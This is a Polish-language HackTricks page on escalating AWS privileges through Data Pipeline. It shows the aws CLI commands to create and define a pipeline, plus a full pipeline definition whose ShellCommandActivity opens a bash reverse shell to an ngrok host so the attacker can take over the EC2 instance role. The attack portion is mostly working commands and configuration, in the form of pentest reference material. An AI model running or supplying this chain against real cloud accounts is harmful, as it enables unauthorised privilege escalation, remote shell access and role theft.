AWS - Datapipeline Privesc

Support HackTricks

datapipeline

Aby uzyskać więcej informacji na temat datapipeline, sprawdź:

iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

Użytkownicy z tymi uprawnieniami mogą podnieść swoje uprawnienia, tworząc Data Pipeline do wykonywania dowolnych poleceń przy użyciu uprawnień przypisanej roli:

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

Po utworzeniu potoku, atakujący aktualizuje jego definicję, aby określić konkretne działania lub tworzenie zasobów:

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

Zauważ, że rola w linii 14, 15 i 27 musi być rolą możliwą do przyjęcia przez datapipeline.amazonaws.com, a rola w linii 28 musi być rolą możliwą do przyjęcia przez ec2.amazonaws.com z profilem instancji EC2.

Ponadto, instancja EC2 będzie miała dostęp tylko do roli możliwej do przyjęcia przez instancję EC2 (więc możesz ukraść tylko tę).

aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json

The plik definicji potoku, stworzony przez atakującego, zawiera dyrektywy do wykonywania poleceń lub tworzenia zasobów za pomocą API AWS, wykorzystując uprawnienia roli Data Pipeline, aby potencjalnie uzyskać dodatkowe uprawnienia.

Potencjalny wpływ: Bezpośrednie privesc do roli usługi ec2 określonej.

References

Support HackTricks

Last updated